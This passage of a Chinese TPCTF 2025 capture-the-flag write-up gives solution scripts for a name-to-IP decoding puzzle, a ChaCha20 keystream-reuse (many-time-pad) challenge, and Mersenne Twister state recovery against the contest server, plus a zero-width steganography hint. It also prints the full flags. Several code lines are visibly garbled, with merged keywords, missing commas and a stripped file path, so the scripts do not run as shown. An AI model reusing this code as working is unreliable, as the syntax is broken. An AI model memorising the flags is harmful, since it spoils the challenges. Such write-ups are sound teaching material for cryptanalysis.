name3 = ['Ser', 'Dea', 'Jac', 'Way', 'Cio', 'Tie', 'Tun', 'Goa', 'Sap', 'Fan', 'Jor', 'Pit', 'Gor', 'Son', 'Mun', 'Dan', 'Veg', 'Wel', 'Sev', 'Jeb', 'Gio', 'Ceu', 'Bib', 'Cif', 'Bug', 'Zan', 'Mec', 'Rob', 'Lao', 'Hew', 'Quo', 'Hor', 'Foe', 'Mak', 'Hol', 'Fil', 'Cam', 'Nur', 'Vet', 'Yea', 'Yup', 'Lot', 'Jab', 'Goo', 'Soy', 'Pay', 'Hoe', 'Dud', 'Qos', 'Boa', 'Ceb', 'Lug', 'Nic', 'Rai', 'Nap', 'Sem', 'Rue', 'Bah', 'Sez', 'Jib', 'Ual', 'Mus', 'Cip', 'Cir', 'Yan', 'Div', 'Bor', 'War', 'Don', 'Tug', 'Tuk', 'Maj', 'Hae', 'Rui', 'Git', 'Gil', 'Lab', 'Med', 'Mag', 'Dui', 'Ruv', 'Raw', 'Sol', 'Foy', 'Sib', 'Sub', 'Moz', 'Ras', 'Mil', 'Rem', 'Nix', 'Dom', 'Ban', 'Zeb', 'Woo', 'Pus', 'Mau', 'Boi', 'Ped', 'Kee', 'Pop', 'Mix', 'Wai', 'Gun', 'Ley', 'Cee', 'Bok', 'Fao', 'Sul', 'Zac', 'Siu', 'Jan', 'Sai', 'Ged', 'Pau', 'Cop', 'Les', 'Suu', 'Dir', 'Var', 'Wap', 'Tai', 'Wah', 'Rei', 'Pas', 'Bat', 'Cas', 'Fad', 'Joe', 'Nir', 'Fem', 'Hai', 'Tal', 'Wea', 'Rok', 'Hoa', 'Goh', 'Hof', 'Nos', 'Roy', 'Nem', 'Bel', 'Yui', 'Wor', 'Neb', 'Tot', 'Luv', 'Yun', 'Lil', 'Doc', 'Lai', 'Hem', 'Kew', 'Lay', 'Nik', 'Gus', 'Hoh', 'Fix', 'Cup', 'Fer', 'Deo', 'Coy', 'Jer', 'Luc', 'Gif', 'Cou', 'Dob', 'Dow', 'Hum', 'Hom', 'Nan', 'Dot', 'Den', 'Yeh', 'Ces', 'Jak', 'Nei', 'Rag', 'Dar', 'Pun', 'Dex', 'Gee', 'Nes', 'Mit', 'Fos', 'Sed', 'Pac', 'Cic', 'Toi', 'Raz', 'Tok', 'Did', 'Rik', 'Hit', 'Kam', 'Hiv', 'Jut', 'Tee', 'Pod', 'Gir', 'Sax', 'Hat', 'Dab', 'Nai', 'Jez', 'Was', 'Bon', 'Kid', 'Him', 'Tia', 'Bin', 'Wep', 'Dup', 'Yue', 'Maa', 'Hao', 'Suv', 'Ken', 'Mod', 'Kan', 'Moc', 'Cow', 'Sex', 'Ben', 'Deg', 'Gaf', 'Yaw', 'Luk', 'Faa', 'Bow', 'Ror', 'Bee', 'Cob', 'Loy', 'Row', 'Det', 'Nut', 'Rah', 'Coi', 'Rap', 'Def', 'Hie', 'Tic', 'Wis', 'Mew', 'Dav', 'Sir', 'Zoe', 'Zin', 'Uac', 'Rab', 'Yen', 'Sip', 'Nip', 'Bir', 'Pak', 'Kar', 'Gen', 'Kea', 'Sor', 'Lod', 'Fas', 'Sif', 'Zag', 'Rea', 'Wed', 'Vex', 'Lem', 'Sob', 'Sue', 'Lar', 'Rav', 'Sou', 'Bev', 'Kek', 'Kol', 'Rae', 'Map', 'Dah', 'Pee', 'Tam', 'Loc', 'Boc', 'Coz', 'Ful', 'Paz', 'Hop', 'Bui', 'Ref', 'Coo', 'Rez', 'Seq', 'Lou', 'Hon', 'Leo', 'Bis', 'Dia', 'Hui', 'Mai', 'Pez', 'Boy', 'Rog', 'Dac', 'Tut', 'Rut', 'Cuz', 'Now', 'Nii', 'Yas', 'Doj', 'Saw', 'Bex', 'Fom']
name2 = ['Wim', 'Het', 'Fau', 'Ria', 'Dio', 'God', 'Man', 'Lim', 'Fap', 'Bar', 'Sot', 'Uae', 'Faq', 'Gum', 'Doe', 'Kay', 'Vol', 'Bic', 'Ren', 'Sox', 'Ral', 'Pii', 'Fol', 'Noo', 'Wes', 'Law', 'Pic', 'Zig', 'Ric', 'Tad', 'Pav', 'Loo', 'Tea', 'Koh', 'Fia', 'Rep', 'Soa', 'Gog', 'Rim', 'Nec', 'Jun', 'Sus', 'Roh', 'Sac', 'Diy', 'Gin', 'Gul', 'Via', 'Tec', 'Mah', 'Rus', 'Cal', 'Wat', 'Mes', 'Pam', 'Sav', 'Luz', 'Lac', 'Jud', 'Lop', 'Tub', 'Lia', 'Kip', 'Nau', 'Loa', 'Roa', 'Dos', 'Nor', 'Jaz', 'Fim', 'Boo', 'Pad', 'Duo', 'Min', 'Vis', 'Hux', 'Cue', 'Soc', 'Caw', 'Rig', 'Wod', 'Pag', 'Tak', 'Cag', 'Coe', 'Lev', 'Ted', 'Vax', 'Peo', 'Uic', 'Cus', 'Huh', 'Rub', 'Gia', 'Raf', 'Bed', 'Pei', 'Sig', 'Pur', 'Qin', 'Dai', 'Deb', 'Pof', 'Neg', 'Tol', 'Lux', 'Jus', 'Uah', 'Que', 'Noe', 'Lov', 'Zee', 'Con', 'Fey', 'Soi', 'Tex', 'Pin', 'Kap', 'Sal', 'Luo', 'Tim', 'Mid', 'Daw', 'Had', 'Gam', 'Jul', 'Jie', 'Wol', 'Mon', 'Roc', 'Rel', 'Bas', 'Nou', 'Reo', 'Mar', 'Dao', 'Niu', 'Kev', 'Dee', 'Wip', 'Coc', 'Fes', 'Rat', 'Dig', 'Teu', 'Mob', 'Mae', 'Car', 'Tux', 'Dew', 'Xue', 'Poi', 'Sit', 'Xin', 'Per', 'Mos', 'Top', 'Gab', 'Yin', 'Loi', 'Jay', 'Moi', 'Yeo', 'Day', 'Dic', 'Haq', 'Dak', 'Mer', 'Wii', 'Pix', 'Fag', 'Dog', 'Por', 'Nib', 'Hog', 'Huw', 'Voc', 'Hob', 'Zep', 'Neo', 'Com', 'Seo', 'Cur', 'Mow', 'Reb', 'Jim', 'Noc', 'Big', 'Fin', 'Sek', 'Fav', 'Niv', 'Pom', 'Pes', 'Ker', 'Yao', 'Coq', 'Tif', 'Gem', 'Cel', 'Zit', 'Toc', 'Jet', 'Vow', 'Lon', 'Rev', 'Joi', 'Jem', 'Wad', 'Bom', 'Tar', 'Pua', 'Rao', 'Bio', 'For', 'Dec', 'Win', 'See', 'Pup', 'Mea', 'Fam', 'Muh', 'Doo', 'Moh', 'Sam', 'Maw', 'Tog', 'Moe', 'Tin', 'Hur', 'Won', 'Lox', 'Poa', 'Dun', 'Run', 'Bil', 'Vip', 'Viv', 'Del', 'Nae', 'Zip', 'Roo', 'Sum', 'Leh', 'Lam', 'Yoo', 'Yip', 'Tow', 'Pil', 'Nab', 'Goi', 'Gar', 'Qua', 'Cor', 'Hav', 'Let', 'Ree', 'Set', 'Lee', 'Cef', 'Jam', 'Fal', 'Daa', 'Put', 'Num', 'Vod', 'Tis', 'Cad', 'Mot', 'Rit', 'Lex', 'Nav', 'Sia', 'Lip', 'Nox', 'Raj', 'Pie', 'Hel', 'Bam', 'Fed', 'Los', 'Fax', 'Neh', 'Jag', 'Sec', 'Jap', 'Sun', 'Cea', 'Jug', 'Sis', 'Cut', 'Fit', 'Fox', 'Bum', 'Joh', 'Lag', 'Fic', 'Sae', 'Gaz', 'Yuh', 'Hee', 'Fae', 'Caf', 'Nag', 'Bay', 'Ray', 'Log', 'Dim', 'Bag', 'Gap', 'San', 'Sup', 'Kuo', 'Wav', 'Suh', 'Kal', 'Tom', 'Ret', 'Seb', 'Wil', 'Jen', 'Haz', 'Cum', 'Xiv', 'Pon', 'Cod', 'Kit', 'Biz', 'Gag', 'Fen', 'Leg', 'Uid', 'Bod', 'Peg', 'Fur', 'Pip', 'Vid', 'Ter', 'Mol', 'Yor', 'Tek', 'Koo', 'Sui', 'Gis', 'Cia', 'Jig', 'Nad', 'Sin', 'Wop', 'Hou', 'Xii', 'Mim', 'Naa', 'Nia', 'Fai', 'Cat', 'Mio', 'Vee', 'Sew', 'Pal', 'Bub', 'Lis', 'Cac', 'Bid', 'Pah', 'Dip', 'Goy', 'Rum', 'Hoc', 'Viz', 'Fog', 'Tax', 'Kin', 'Req', 'Kik', 'Coa', 'Meh', 'Mum', 'Lap', 'Mov', 'Pir', 'Bop', 'Der', 'Dag', 'Lei', 'Jit', 'Tod', 'Far', 'Tig', 'Tae', 'Ten', 'Toe', 'Sep', 'Mac', 'Hua', 'Vik', 'Piu', 'Rar', 'Hut', 'New', 'Pap', 'Hid', 'Xia', 'Hug', 'Rox', 'Rey', 'Meg', 'Zak', 'Uas', 'Dug', 'Bes', 'Ton', 'Lad', 'Hus', 'Lew', 'Jiu', 'Pub', 'Buy', 'Bet', 'Nog', 'Yak', 'Bau', 'Qol', 'Yet', 'Dor', 'Buh', 'Baz', 'Kat', 'Fei', 'Kon', 'Nuh', 'Noa', 'Cap', 'Cil', 'Tan', 'Jed', 'Dur', 'Bol', 'Sux', 'Gov', 'Dev', 'Teh', 'Bob', 'Bal', 'Pep', 'Hah', 'Res', 'Cai', 'Gas', 'Qiu', 'Wiz', 'Pis', 'Heh', 'Dil', 'Yer', 'Gon', 'Nis', 'Fiu', 'Ber', 'Gan', 'Bak', 'Fud', 'Cog', 'Zim', 'Doa', 'Bos', 'Hen', 'Hes', 'Dub', 'Web', 'Lol', 'Zoo', 'Vag', 'Lep', 'Vin', 'Cep', 'Sow', 'Naw', 'Mee', 'Vir', 'Jae', 'Lic', 'Gah', 'Wax', 'Zap', 'Bur', 'Civ', 'Tag', 'Led', 'Boe', 'Cin', 'You', 'Daf', 'Beg', 'Xan', 'Wix', 'Nun', 'Yap', 'Bai', 'Cox', 'Sur', 'Fet', 'Moj', 'Lau', 'Dis', 'Mat', 'Rid', 'Mal', 'Ris', 'Uis', 'Hib', 'Vie', 'But']

得到的IP发现是flag的十进制数据,最终exp:

from namelist import name4, name2, name1, name3

def num2ip(num:int):
    a = num // 256**3
    b = (num - a*256**3) // 256**2
    c = (num - a*256**3 - b*256**2) // 256
    d = num - a*256**3 - b*256**2 - c*256
    returnf'{a}.{b}.{c}.{d}'

target = ['VicCouNeaGas''DemHohBojWod''PowFitGuoRut''VetTasBesDae''FasLiuTasJoi''DevRecWoeDia''BogHubSorHad''BagLibYupSix''MowPetBecZan''LonRecRipLuk''KarYapTajGot''TiaLiuFayDic''VizDivCitBot''LeaLatReaSac''FasLiuVicToc''KunSadMerMun''LemLiuGuoReq']

for name in target:
    num = 0
    t = [name[i:i+3for i in range(0, len(name), 3)]
    # print(t)
    for i in t:
        if i in name4:
            num += 513*103*313*(name4.index(i))
        elif i in name3:
            num += 513*103*(name3.index(i))
        elif i in name2:
            num += 103*name2.index(i)
        elif i in name1:
            num += name1.index(i)
        else:
            print('no match', i)
            exit()
    # print(num2ip(num))
    for c in num2ip(num).split('.'):
        print(chr(int(c)), end='')

flag:

TPCTF{finally_the_criminal5_wh0_publi5hed_the5e_5pam_were_arre5ted}

Crypto

encrypted chat

根据题目描述猜测是聊天的时候时序出了问题,导致不同聊天者本应用chacha20的对应counter解密的时候,却用来加密自己发送的信息,所以可能会存在用同一密钥流加密的信息段,这就导致可能可以用MTP攻击。

因此先通过密文间异或找到连续的MSB为0的段,说明这些文本符合MTP特征,之后MTP即可得到大概文本,最后手动调试出完整聊天内容,就可以得到两部分flag。

exp:

找符合MTP的段

from base64 import b64decode
from pwn import xor
from tqdm import *

with open(r"D:题2025TPCTFencrypted_chatencrypted-chatmessages.txt""r"as f:
    c = f.read()

t = b64decode(c)

chunk_l = 180

for l1 in trange(len(c)): #1187, 7483
    for l2 in range(l1+chunk_l, len(c)):
        res = list(xor(t[l1:l1+chunk_l], t[l2:l2+chunk_l]))
        if(all([_ < 128for _ in res])):
            print(xor(t[l1:l1+chunk_l], t[l2:l2+chunk_l]).hex().zfill(2*chunk_l))
    break

之后MTP再手动调即可。

randomized random

每个数据会泄露第一个getrandbits(32)的高位,由于低位存在进位影响所以取高12位比较合适,并且因为隔一个getrandbits(32)才取一次,所以线性相关的比特会很多,因此要多取很多组数据用大内存跑。

exp:

from Crypto.Util.number import *
from pwn import *
from random import *
from tqdm import *

######################################################### part1 recover MT and get seed
RNG = Random()
n = 2500

def construct_a_row(RNG):
    row = []
    for i in range(n):
        row += list(map(int, (bin(RNG.getrandbits(32) >> 20)[2:].zfill(12))))
        RNG.getrandbits(32)
    return row

L = []
for i in trange(19968):
    state = [0]*624
    temp = "0"*i + "1"*1 + "0"*(19968-1-i)
    for j in range(624):
        state[j] = int(temp[32*j:32*j+32],2)
    RNG.setstate((3,tuple(state+[624]),None))
    L.append(construct_a_row(RNG))

L = Matrix(GF(2),L)
print(L.rank())

sh = remote("1.95.57.127"3001)

nums = []
while(1):
    temp = int(sh.recvline().strip().decode())
    nums.append(temp)
    if(len(nums) == n):
        break
    if(len(nums) % 100 == 0):
        print(len(nums) // 100)
    sh.sendline()

R = []
for i in range(n):
    R += list(map(int, (bin(nums[i] >> 20)[2:].zfill(12))))

R = vector(GF(2),R)
s = L.solve_left(R)
init = "".join(list(map(str,s)))
state = []
for i in range(624):
    state.append(int(init[32*i:32*i+32],2))

RNG1 = Random()
RNG1.setstate((3,tuple(state+[624]),None))

######################################################### part2 set seed and recover shuffle
dic = []
for i in range(len(nums)):
    temp = []
    temp.append(chr(nums[i] - RNG1.getrandbits(32)))
    temp.append(RNG1.getrandbits(32))
    dic.append(temp)
    
    
for l in range(20100):
    flag = [""for _ in range(l)]
    for j in dic:
        flag[j[1] % l] = j[0]
    if("TPCTF"in"".join(flag)):
        print("".join(flag))
        break

#TPCTF{Ez_MTI9937_pr3d1cTi0n}

nanonymous msg

题目WIP前有零宽隐写,粘贴出来发现符合TPCTF{}的特征,由于去除这几个字符之后,flag内部字符仅有24种,因此猜测为下划线+小写字符+少量数字leet。

由频率推测出下划线的位置,之后猜一下a和e的位置并放到quipqiup就可以看出大概内容,最后手动微调并多次提交flag猜leet即可。

原文始发于微信公众号(N0wayBack):XCTF-TPCTF 2025 WP

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月12日22:38:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XCTF-TPCTF 2025 WPhttps://cn-sec.com/archives/3830782.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息